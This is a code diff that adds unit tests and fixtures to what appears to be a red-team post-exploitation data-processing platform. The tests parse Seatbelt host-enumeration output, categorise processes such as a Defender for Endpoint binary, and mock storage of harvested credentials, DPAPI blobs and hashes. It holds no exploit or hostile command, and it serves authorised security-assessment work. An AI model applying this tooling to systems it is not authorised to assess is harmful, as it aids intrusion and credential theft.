+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Last Help","Value":9197,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Object List","Value":"9184","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"CategoryOptions","Value":1,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"IsMultiInstance","Value":1,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Linkage","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Linkage","ValueName":"Export","Value":"2e,00,4e,00,45,00,54,00,20,00,43,00,4c,00,52,00,20,00,4e,00,65,00,74,00,77,00,6f,00,72,00,6b,00,69,00,6e,00,67,00,00,00,00,00","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Close","Value":"ClosePerformanceData","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Collect","Value":"CollectPerformanceData","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Counter Names","Value":[67,0,111,0,110,0,110,0,101,0,99,0,116,0,105,0,111,0,110,0,115,0,32,0,69,0,115,0,116,0,97,0,98,0,108,0,105,0,115,0,104,0,101,0,100,0,0,0,66,0,121,0,116,0,101,0,115,0,32,0,82,0,101,0,99,0,101,0,105,0,118,0,101,0,100,0,0,0,66,0,121,0,116,0,101,0,115,0,32,0,83,0,101,0,110,0,116,0,0,0,68,0,97,0,116,0,97,0,103,0,114,0,97,0,109,0,115,0,32,0,82,0,101,0,99,0,101,0,105,0,118,0,101,0,100,0,0,0,68,0,97,0,116,0,97,0,103,0,114,0,97,0,109,0,115,0,32,0,83,0,101,0,110,0,116,0,0,0,0,0],"ValueKind":3,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Counter Types","Value":[54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,55,0,57,0,50,0,0,0,54,0,53,0,55,0,57,0,50,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,0,0],"ValueKind":3,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Library","Value":"C:\\Windows\\system32\\netfxperf.dll","ValueKind":2,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Open","Value":"OpenPerformanceData","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"InstallType","Value":1,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"PerfIniFile","Value":"_Networkingperfcounters_v2_d.ini","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"First Counter","Value":9132,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Last Counter","Value":9142,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"First Help","Value":9133,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Last Help","Value":9143,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"Object List","Value":"9132","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"CategoryOptions","Value":3,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"FileMappingSize","Value":131072,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance","ValueName":"IsMultiInstance","Value":1,"ValueKind":4,"SDDL":""}}
diff --git a/cmd/enrichment/tests/services/postgres_connector/test_seatbelt_datatypes.py b/cmd/enrichment/tests/services/postgres_connector/test_seatbelt_datatypes.py
new file mode 100644
index 0000000..2257749
--- /dev/null
+++ b/cmd/enrichment/tests/services/postgres_connector/test_seatbelt_datatypes.py
@@ -0,0 +1,63 @@
+# Standard Libraries
+import json
+
+# 3rd Party Libraries
+import pytest
+from enrichment.tasks.raw_data_tag_service.seatbelt_datatypes import (
+ SeatbeltFileInfo,
+ SeatbeltOSInfo,
+ parse_seatbelt_date,
+)
+
+
+@pytest.mark.asyncio
+class TestSeatbeltOSInfo:
+ fileinfoJson = r'{"Type":"Seatbelt.Commands.Windows.FileInfoDTO","Data":{"Comments":null,"CompanyName":null,"FileDescription":null,"FileName":"C:\\Windows\\win.ini","FileVersion":null,"InternalName":null,"IsDebug":false,"IsDotNet":false,"IsPatched":false,"IsPreRelease":false,"IsPrivateBuild":false,"IsSpecialBuild":false,"Language":null,"LegalCopyright":null,"LegalTrademarks":null,"OriginalFilename":null,"PrivateBuild":null,"ProductName":null,"ProductVersion":null,"SpecialBuild":null,"Attributes":32,"CreationTimeUtc":"\/Date(1651900411539)\/","LastAccessTimeUtc":"\/Date(1673040385781)\/","LastWriteTimeUtc":"\/Date(1651900356098)\/","Length":92,"SDDL":"O:SYD:(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)"}}'
+
+ osinfoJson = r'{"Type":"Seatbelt.Commands.Windows.OSInfoDTO","Data":{"InputLanguage":"US","InstalledInputLanguages":["US"],"Hostname":"4182bc05-025c-40e3-a683-7f2c21fee4be","Domain":"","Username":"4182BC05-025C-4\\WDAGUtilityAccount","ProductName":"Windows 10 Enterprise","EditionId":"Enterprise","ReleaseId":"2009","Build":"22621.1105","BuildBranch":"ni_release","CurrentMajorVersionNumber":"10","CurrentVersion":"6.3","Architecture":"AMD64","ProcessorCount":"20","IsVirtualMachine":true,"BootTimeUtc":"\/Date(1677783926282)\/","IsHighIntegrity":true,"IsLocalAdmin":true,"CurrentTimeUtc":"\/Date(1677784078907)\/","TimeZone":"Pacific Standard Time","TimeZoneUtcOffset":"-08:00:00","Locale":"en-US","MachineGuid":"bf2687c7-7be3-421c-a83d-0571cc4dbfdd"}}'
+ osinfoJsonWithOptionalInputLang = r'{"Type":"Seatbelt.Commands.Windows.OSInfoDTO","Data":{"InputLanguage":null,"InstalledInputLanguages":["US"],"Hostname":"4182bc05-025c-40e3-a683-7f2c21fee4be","Domain":"","Username":"4182BC05-025C-4\\WDAGUtilityAccount","ProductName":"Windows 10 Enterprise","EditionId":"Enterprise","ReleaseId":"2009","Build":"22621.1105","BuildBranch":"ni_release","CurrentMajorVersionNumber":"10","CurrentVersion":"6.3","Architecture":"AMD64","ProcessorCount":"20","IsVirtualMachine":true,"BootTimeUtc":"\/Date(1677783926282)\/","IsHighIntegrity":true,"IsLocalAdmin":true,"CurrentTimeUtc":"\/Date(1677784078907)\/","TimeZone":"Pacific Standard Time","TimeZoneUtcOffset":"-08:00:00","Locale":"en-US","MachineGuid":"bf2687c7-7be3-421c-a83d-0571cc4dbfdd"}}'
+ osinfoJsonWithMissingRequiredHostname = r'{"Type":"Seatbelt.Commands.Windows.OSInfoDTO","Data":{"InputLanguage":"US","InstalledInputLanguages":null,"Domain":"","Username":"4182BC05-025C-4\\WDAGUtilityAccount","ProductName":"Windows 10 Enterprise","EditionId":"Enterprise","ReleaseId":"2009","Build":"22621.1105","BuildBranch":"ni_release","CurrentMajorVersionNumber":"10","CurrentVersion":"6.3","Architecture":"AMD64","ProcessorCount":"20","IsVirtualMachine":true,"BootTimeUtc":"\/Date(1677783926282)\/","IsHighIntegrity":true,"IsLocalAdmin":true,"CurrentTimeUtc":"\/Date(1677784078907)\/","TimeZone":"Pacific Standard Time","TimeZoneUtcOffset":"-08:00:00","Locale":"en-US","MachineGuid":"bf2687c7-7be3-421c-a83d-0571cc4dbfdd"}}'
+
+ async def test_seatbeltFileInfo_from_json(self):
+ d = json.loads(self.fileinfoJson)
+ info = SeatbeltFileInfo.from_dict(d["Data"])
+
+ assert info.FileName == "C:\\Windows\\win.ini"
+
+ async def test_seatbeltOSInfo_from_json(self):
+ d = json.loads(self.osinfoJson)
+ osinfo = SeatbeltOSInfo.from_dict(d["Data"])
+
+ assert osinfo.Hostname == "4182bc05-025c-40e3-a683-7f2c21fee4be"
+ assert osinfo.Domain == ""
+ assert osinfo.Username == "4182BC05-025C-4\\WDAGUtilityAccount"
+
+ async def test_seatbeltOSInfo_from_json_with_optional_null(self):
+ d = json.loads(self.osinfoJsonWithOptionalInputLang)
+ osinfo = SeatbeltOSInfo.from_dict(d["Data"])
+
+ assert osinfo.InputLanguage is None
+
+ async def test_seatbeltOSInfo_from_json_with_missing_required_null(self):
+ d = json.loads(self.osinfoJsonWithMissingRequiredHostname)
+
+ with pytest.raises(Exception):
+ SeatbeltOSInfo.from_dict(d["Data"])
+
+
+@pytest.mark.asyncio
+class TestSeatbeltDateParsing:
+ async def test_parse_seatbelt_date(self):
+ # Represents March 6, 2023 8:21:20.278 PM UTC
+ datestr = "/Date(1678134080278)/"
+
+ date = parse_seatbelt_date(datestr)
+
+ assert date.year == 2023
+ assert date.month == 3
+ assert date.day == 6
+ assert date.hour == 20
+ assert date.minute == 21
+ assert date.second == 20
+ assert date.microsecond == 278000
+ # assert date.tzinfo == datetime.timezone.utc
diff --git a/cmd/enrichment/tests/services/process_categorizer/__init__.py b/cmd/enrichment/tests/services/process_categorizer/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/enrichment/tests/services/process_categorizer/data/browsers.csv b/cmd/enrichment/tests/services/process_categorizer/data/browsers.csv
new file mode 100644
index 0000000..0671417
--- /dev/null
+++ b/cmd/enrichment/tests/services/process_categorizer/data/browsers.csv
@@ -0,0 +1,2 @@
+# Format: , -
+chrome.exe,Google Chrome
\ No newline at end of file
diff --git a/cmd/enrichment/tests/services/process_categorizer/data/security_products.csv b/cmd/enrichment/tests/services/process_categorizer/data/security_products.csv
new file mode 100644
index 0000000..b338f92
--- /dev/null
+++ b/cmd/enrichment/tests/services/process_categorizer/data/security_products.csv
@@ -0,0 +1,2 @@
+# Format: , -
+SenseCE.exe,Microsoft Defender for Endpoint
\ No newline at end of file
diff --git a/cmd/enrichment/tests/services/process_categorizer/test_process_categorizer.py b/cmd/enrichment/tests/services/process_categorizer/test_process_categorizer.py
new file mode 100644
index 0000000..9dc6ab5
--- /dev/null
+++ b/cmd/enrichment/tests/services/process_categorizer/test_process_categorizer.py
@@ -0,0 +1,24 @@
+# Standard Libraries
+import os
+
+# 3rd Party Libraries
+import pytest
+from enrichment.tasks.process_categorizer.categorizer import CsvProcessCategorizer
+
+
+@pytest.mark.asyncio
+async def test_categorizer() -> None:
+ data_dir = os.path.join(os.path.dirname(__file__), "data")
+ categorizer = CsvProcessCategorizer(data_dir)
+ categorizer._category_files = {
+ "Browser": "browsers.csv",
+ "Security": "security_products.csv",
+ }
+ categories = await categorizer.lookup("chrome.exe")
+
+ # assert len(categories) == 1
+ # assert categories[0].category == "Browser"
+ # assert categories[0].description == "Google Chrome"
+
+ assert categories.category == "Browser"
+ assert categories.description == "Google Chrome"
diff --git a/cmd/enrichment/tests/services/raw_data_tag_service/conftest.py b/cmd/enrichment/tests/services/raw_data_tag_service/conftest.py
new file mode 100644
index 0000000..84d5cf8
--- /dev/null
+++ b/cmd/enrichment/tests/services/raw_data_tag_service/conftest.py
@@ -0,0 +1,85 @@
+# Standard Libraries
+from types import TracebackType
+from typing import Optional, Type, Union
+
+# 3rd Party Libraries
+import nemesispb.nemesis_pb2 as pb
+import pytest
+import structlog
+from enrichment.lib.nemesis_db import (
+ AuthenticationData,
+ DpapiBlob,
+ ExtractedHash,
+ NemesisDbInterface,
+ Project,
+ RegistryObject,
+)
+from nemesiscommon.messaging import MessageQueueProducerInterface
+
+
+class MockNemesisDb(NemesisDbInterface):
+ async def add_project(self, project: Project) -> None:
+ pass
+
+ async def add_authentication_data(self, auth_data: AuthenticationData) -> None:
+ pass
+
+ async def add_extracted_hash(self, auth_data: ExtractedHash) -> None:
+ pass
+
+ async def add_dpapi_blob(self, dpapi_blob: DpapiBlob) -> None:
+ pass
+
+ async def add_registry_object(self, registry_object: RegistryObject) -> None:
+ pass
+
+ async def add_service(self, metadata: pb.Metadata, service_name: str) -> None:
+ pass
+
+ async def add_service_property(self, metadata: pb.Metadata, service_name: str, value_name: str, value: Union[int, str]) -> None:
+ pass
+
+ async def add_host_info(self, os_info) -> None:
+ pass
+
+ async def add_filesystem_object(self, file_info) -> None:
+ pass
+
+
+class MockMessageProducer(MessageQueueProducerInterface):
+ message_count = 0
+
+ async def Send(self, message: bytes) -> None:
+ self.message_count += 1
+ pass
+
+ async def Close(self) -> None:
+ pass
+
+ async def __aenter__(self):
+ pass
+
+ async def __aexit__(
+ self,
+ exc_type: Optional[Type[BaseException]],
+ exc_val: Optional[BaseException],
+ exc_tb: Optional[TracebackType],
+ ) -> None:
+ pass
+
+
+@pytest.fixture
+def nemesis_db() -> MockNemesisDb:
+ return MockNemesisDb()
+
+
+@pytest.fixture
+def message_producer() -> MockMessageProducer:
+ return MockMessageProducer()
+
+
+# @pytest.fixture
+# def logger() -> logging.Logger:
+# log = logging.getLogger("test")
+# log.addHandler(logging.NullHandler())
+# return log
diff --git a/cmd/enrichment/tests/services/raw_data_tag_service/test_service.py b/cmd/enrichment/tests/services/raw_data_tag_service/test_service.py
new file mode 100644
index 0000000..709f079
--- /dev/null
+++ b/cmd/enrichment/tests/services/raw_data_tag_service/test_service.py
@@ -0,0 +1,96 @@
+# # Standard Libraries
+# import structlog
+
+# # 3rd Party Libraries
+# import pytest
+# from enrichment.app import NemesisDb
+# from enrichment.lib.nemesis_db import FileInfo
+# from enrichment.tasks.raw_data_tag_service.seatbelt_datatypes import (
+# RegistryValueKindEnum,
+# SeatbeltBaseDTO,
+# SeatbeltDtoTypes,
+# SeatbeltFileInfo,
+# SeatbeltRegistryValue,
+# )
+# from nemesiscommon.messaging import MessageQueueProducerInterface
+# from nemesispb.nemesis_pb2 import Metadata, RegistryValueIngestion
+
+
+# @pytest.fixture
+# def raw_data_processor(logger: logging.Logger, nemesis_db: NemesisDb, message_producer: MessageQueueProducerInterface) -> RawDataProcessor:
+# return RawDataProcessor(logger, nemesis_db, message_producer)
+
+
+# @pytest.mark.asyncio
+# class TestRawDataTagService:
+# count = 0
+
+# async def test_read_seatbelt_json_file(self, mock_file_open, raw_data_processor: RawDataProcessor) -> None:
+# mock_file_open.read_data = """{"Type":"asdf1","Data":{"Key":"key1"}}
+# {"Type":"asdf2","Data":{"Key":"key2"}}
+# """
+
+# metadata = Metadata()
+# self.count = 0
+
+# async def count_entries(dto: SeatbeltBaseDTO, metadata: Metadata) -> None:
+# self.count += 1
+
+# await raw_data_processor.read_seatbelt_json_file("seatbelt.json", metadata, count_entries)
+# assert self.count == 2
+
+# async def test_process_seatbelt_dto(self, raw_data_processor: RawDataProcessor):
+# metadata = Metadata()
+# dto = SeatbeltBaseDTO(SeatbeltDtoTypes.REGISTRY_VALUE.value, {"Key": "key1"})
+
+# await raw_data_processor.process_seatbelt_dto(dto, metadata)
+# assert raw_data_processor.reg_value_q.message_count == 1
+
+# async def test_convert_reg_dto_to_pb(self, raw_data_processor: RawDataProcessor):
+# key = r"HKLM\Software"
+# value_name = "valueName"
+# value = "value"
+# value_kind = RegistryValueKindEnum.SZ
+# sddl = None
+# data = SeatbeltRegistryValue(key, value_name, value, value_kind, sddl)
+
+# out = await raw_data_processor.convert_reg_dto_to_pb(data, Metadata())
+
+# assert out.data[0].key == key
+# assert out.data[0].value_name == value_name
+# assert out.data[0].value == value
+# assert out.data[0].value_kind == value_kind.value
+# assert out.data[0].HasField("sddl") is False
+
+# async def test_convert_reg_dto_to_pb_null_values(self, raw_data_processor: RawDataProcessor):
+# data = SeatbeltRegistryValue("key", "valueName", "value", None, None)
+# out = await raw_data_processor.convert_reg_dto_to_pb(data, Metadata())
+# data = out.data[0]
+# data.ClearField("value")
+
+# with pytest.raises(ValueError):
+# # Should fail since "key" should always be present, so you can't check if it's NOT present
+# assert data.HasField("key")
+
+# assert data.HasField("value_name") is True
+# assert data.HasField("value") is False
+# assert data.HasField("value_kind") is False
+# assert data.HasField("sddl") is False
+
+# async def test_convert_fileinfo_dto_to_fileinfo(self, raw_data_processor: RawDataProcessor):
+# data = SeatbeltFileInfo()
+
+# out = await raw_data_processor.convert_fileinfo_dto_to_fileinfo(data, Metadata())
+# # data = out.data[0]
+# # data.ClearField("path")
+
+# # with pytest.raises(ValueError):
+# # # Should fail since "path" should always be present, so you can't check if it's NOT present
+# # assert data.HasField("path")
+
+# # assert data.HasField("name") is True
+# # assert data.HasField("extension") is True
+# # assert data.HasField("size") is True
+# # assert data.HasField("created") is True
+# # assert data.HasField("modified") is True
+# # assert data.HasField("accessed") is True
diff --git a/cmd/enrichment/tests/services/web_api/test_main.py b/cmd/enrichment/tests/services/web_api/test_main.py
new file mode 100644
index 0000000..20d5f8d
--- /dev/null
+++ b/cmd/enrichment/tests/services/web_api/test_main.py
@@ -0,0 +1,221 @@
+# Standard Libraries
+import base64
+import json
+import logging
+import tempfile
+from typing import Awaitable, Callable, List
+
+# 3rd Party Libraries
+import google.protobuf.message
+import nemesiscommon.constants as constants
+from enrichment.tasks.web_api import WebAPI
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+from nemesiscommon.messaging import (
+ MessageQueueConsumerInterface,
+ MessageQueueProducerInterface,
+)
+from nemesiscommon.mocks import storage
+
+TEST_ASSESS_ID = "assessment_id"
+
+
+class MockProducerConsumer(MessageQueueProducerInterface, MessageQueueConsumerInterface):
+ def __init__(self, name="", *args, **kwargs):
+ self.name = name
+ self._vals: List[bytes] = []
+
+ async def Read(self, worker: Callable[[google.protobuf.message.Message], Awaitable[None]]) -> None:
+ await worker(self._vals.pop(0))
+
+ async def Send(self, message: bytes) -> None:
+ self._vals.append(message)
+
+ async def Close(self) -> None:
+ pass
+
+ async def __aenter__(self):
+ pass
+
+ async def __aexit__(self, *args, **kwargs) -> None:
+ pass
+
+
+async def test_data_post_authentication_data() -> None:
+ app = FastAPI()
+ logger = logging.getLogger("test")
+ queues = {q: MockProducerConsumer(q) for q in constants.ALL_QUEUES}
+ routes = WebAPI(logger, queues, storage.StorageNop(), "assessment_id")
+ app.include_router(routes.router)
+ client = TestClient(app)
+
+ data = '{"metadata":{"agentId":"test_agent_id","agentType":"beacon","dataType":"authentication_data","source":"domain.com","project":"1234","timestamp":"2023-04-06T20:09:28.686025Z","messageId":"1234"},"data":[{"data":"test_data","type":"creds","uri":"https://domain.com","username":"test_user","notes":"test_notes"}]}'
+ data_obj = json.loads(data)
+ res = client.post("/data", json=data_obj)
+ assert res.status_code == 200
+
+ client = queues[constants.Q_AUTHENTICATION_DATA]
+ async with client:
+
+ async def process_message(message: bytes) -> None:
+ assert message.decode("utf-8") == data
+
+ await client.Read(process_message)
+
+ out = res.json()
+ assert "object_id" in out
+
+
+async def test_data_post_authentication_data_body() -> None:
+ app = FastAPI()
+ logger = logging.getLogger("test")
+ queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES}
+ routes = WebAPI(logger, queues, storage.StorageNop(), "assessment_id")
+ app.include_router(routes.router)
+ client = TestClient(app)
+
+ data = '{"metadata":{"agentId":"test_agent_id","agentType":"beacon","dataType":"authentication_data","source":"domain.com","project":"1234","timestamp":"2023-04-06T20:09:28.686025Z","messageId":"1234"},"data":[{"data":"test_data","type":"creds","uri":"https://domain.com","username":"test_user","notes":"test_notes"}]}'
+ data_obj = json.loads(data)
+ res = client.post("/data", json=data_obj)
+ out = res.json()
+ assert "object_id" in out
+
+
+async def test_data_post_file_data_works() -> None:
+ app = FastAPI()
+ logger = logging.getLogger("test")
+ queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES}
+ routes = WebAPI(logger, queues, storage.StorageNop(), "assessment_id")
+ app.include_router(routes.router)
+ client = TestClient(app)
+
+ data = '{"metadata": {"agent_id": "WILL", "agent_type": "submit_to_nemesis", "automated": false, "data_type": "file_data", "source": "computer.domain.com", "expiration": "2023-07-22T16:19:17.000Z", "project": "ASSESS-TEST", "timestamp": "2023-04-13T16:19:17.000Z"}, "data": [{"path": "/home/max/Programming/ods/sample_files/appsettings.json", "size": 307, "object_id": "1a7443e2-97f4-4996-994c-00cf3ca94cad"}]}'
+ data_obj = json.loads(data)
+ res = client.post("/data", json=data_obj)
+ print(res.text)
+ assert res.status_code == 200
+
+
+async def test_data_post_file_data_body() -> None:
+ app = FastAPI()
+ logger = logging.getLogger("test")
+ queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES}
+ routes = WebAPI(logger, queues, storage.StorageNop(), "assessment_id")
+ app.include_router(routes.router)
+ client = TestClient(app)
+
+ data = '{"metadata": {"agent_id": "WILL", "agent_type": "submit_to_nemesis", "automated": false, "data_type": "file_data", "source": "computer.domain.com", "expiration": "2023-07-22T16:19:17.000Z", "project": "ASSESS-TEST", "timestamp": "2023-04-13T16:19:17.000Z"}, "data": [{"path": "/home/max/Programming/ods/sample_files/appsettings.json", "size": 307, "object_id": "1a7443e2-97f4-4996-994c-00cf3ca94cad"}]}'
+ data_obj = json.loads(data)
+ res = client.post("/data", json=data_obj)
+ out = res.text
+ assert "object_id" in out
+
+
+async def test_data_post_file_data() -> None:
+ app = FastAPI()
+ logger = logging.getLogger("test")
+ queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES}
+ routes = WebAPI(logger, queues, storage.StorageNop(), "assessment_id")
+ app.include_router(routes.router)
+ client = TestClient(app)
+
+ data = '{"metadata": {"agent_id": "WILL", "agent_type": "submit_to_nemesis", "automated": false, "data_type": "file_data", "source": "computer.domain.com", "expiration": "2023-07-22T16:19:17.000Z", "project": "ASSESS-TEST", "timestamp": "2023-04-13T16:19:17.000Z"}, "data": [{"path": "/home/max/Programming/ods/sample_files/appsettings.json", "size": 307, "object_id": "1a7443e2-97f4-4996-994c-00cf3ca94cad"}]}'
+ data_obj = json.loads(data)
+ res = client.post("/data", json=data_obj)
+
+ client = queues[constants.Q_FILE_DATA]
+ async with client:
+
+ async def process_message(message: bytes) -> None:
+ print(message.decode("utf-8"), data)
+ assert message.decode("utf-8") == data
+
+ await client.Read(process_message)
+
+ out = res.json()
+ assert "object_id" in out
+
+
+async def test_file_post() -> None:
+ app = FastAPI()
+ logger = logging.getLogger("test")
+ queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES}
+ stg = storage.StorageLocal()
+ routes = WebAPI(logger, queues, stg, "assessment_id")
+ app.include_router(routes.router)
+ client = TestClient(app)
+
+ temp_file = tempfile.TemporaryFile()
+ temp_file.write(b"test")
+ temp_file.seek(0)
+
+ res = client.post("/file", files={"file": temp_file})
+
+ res_out = res.json()
+
+ assert res.status_code == 200
+ assert "object_id" in res_out
+ assert stg.exists(res_out["object_id"])
+
+
+async def test_file_get() -> None:
+ app = FastAPI()
+ queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES}
+ stg = storage.StorageLocal()
+ routes = WebAPI(None, queues, stg, "assessment_id")
+ app.include_router(routes.router)
+ client = TestClient(app)
+
+ TEST_STR = "test".encode("utf-8")
+
+ res = client.post("/file", data=TEST_STR)
+
+ res_out = res.json()
+ id_ = res_out["object_id"]
+ id_b64 = base64.urlsafe_b64encode(id_.encode("utf-8")).decode("utf-8")
+
+ res_g = client.get(f"/data?storage_id={id_b64}")
+ assert res_g.status_code == 200
+ assert res_g.content == TEST_STR
+
+
+async def test_download() -> None:
+ app = FastAPI()
+ queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES}
+ stg = storage.StorageLocal(TEST_ASSESS_ID)
+ routes = WebAPI(None, queues, stg, TEST_ASSESS_ID)
+ app.include_router(routes.router)
+ client = TestClient(app)
+
+ TEST_STR = "test".encode("utf-8")
+
+ res = client.post("/file", data=TEST_STR)
+
+ res_out = res.json()
+ id_ = res_out["object_id"]
+
+ res_g = client.get(f"/download/{id_}")
+ assert res_g.status_code == 200
+ assert res_g.headers["Content-Disposition"] == f'attachment; filename="{id_}"'
+ assert res_g.headers["Content-Type"] == "application/octet-stream"
+
+
+async def test_download_pdf() -> None:
+ app = FastAPI()
+ queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES}
+ stg = storage.StorageLocal(TEST_ASSESS_ID)
+ routes = WebAPI(None, queues, stg, TEST_ASSESS_ID)
+ app.include_router(routes.router)
+ client = TestClient(app)
+
+ TEST_STR = "test".encode("utf-8")
+
+ res = client.post("/file", data=TEST_STR)
+
+ res_out = res.json()
+ id_ = res_out["object_id"]
+
+ res_g = client.get(f"/download/{id_}?name=test.pdf")
+ assert res_g.status_code == 200
+ assert res_g.headers["Content-Disposition"] == f'inline; filename="{id_}"'
+ assert res_g.headers["Content-Type"] == "application/pdf"
diff --git a/cmd/nlp/.flake8 b/cmd/nlp/.flake8
new file mode 100644
index 0000000..ace149b
--- /dev/null
+++ b/cmd/nlp/.flake8
@@ -0,0 +1,7 @@
+[flake8]
+ignore = E231, E241
+per-file-ignores =
+ __init__.py:F401
+max-line-length = 240
+count = true
+exclude = enrichment/lib/ext_tools
\ No newline at end of file
diff --git a/cmd/nlp/.gitignore b/cmd/nlp/.gitignore
new file mode 100644
index 0000000..ddf4581
--- /dev/null
+++ b/cmd/nlp/.gitignore
@@ -0,0 +1,163 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib64/
+parts/
+sdist/
+var/
+wheels/
+share/python-wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.nox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*.cover
+*.py,cover
+.hypothesis/
+.pytest_cache/
+cover/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+db.sqlite3
+db.sqlite3-journal
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+.pybuilder/
+target/
+
+# Jupyter Notebook
+.ipynb_checkpoints
+
+# IPython
+profile_default/
+ipython_config.py
+
+# pyenv
+# For a library or package, you might want to ignore these files since the code is
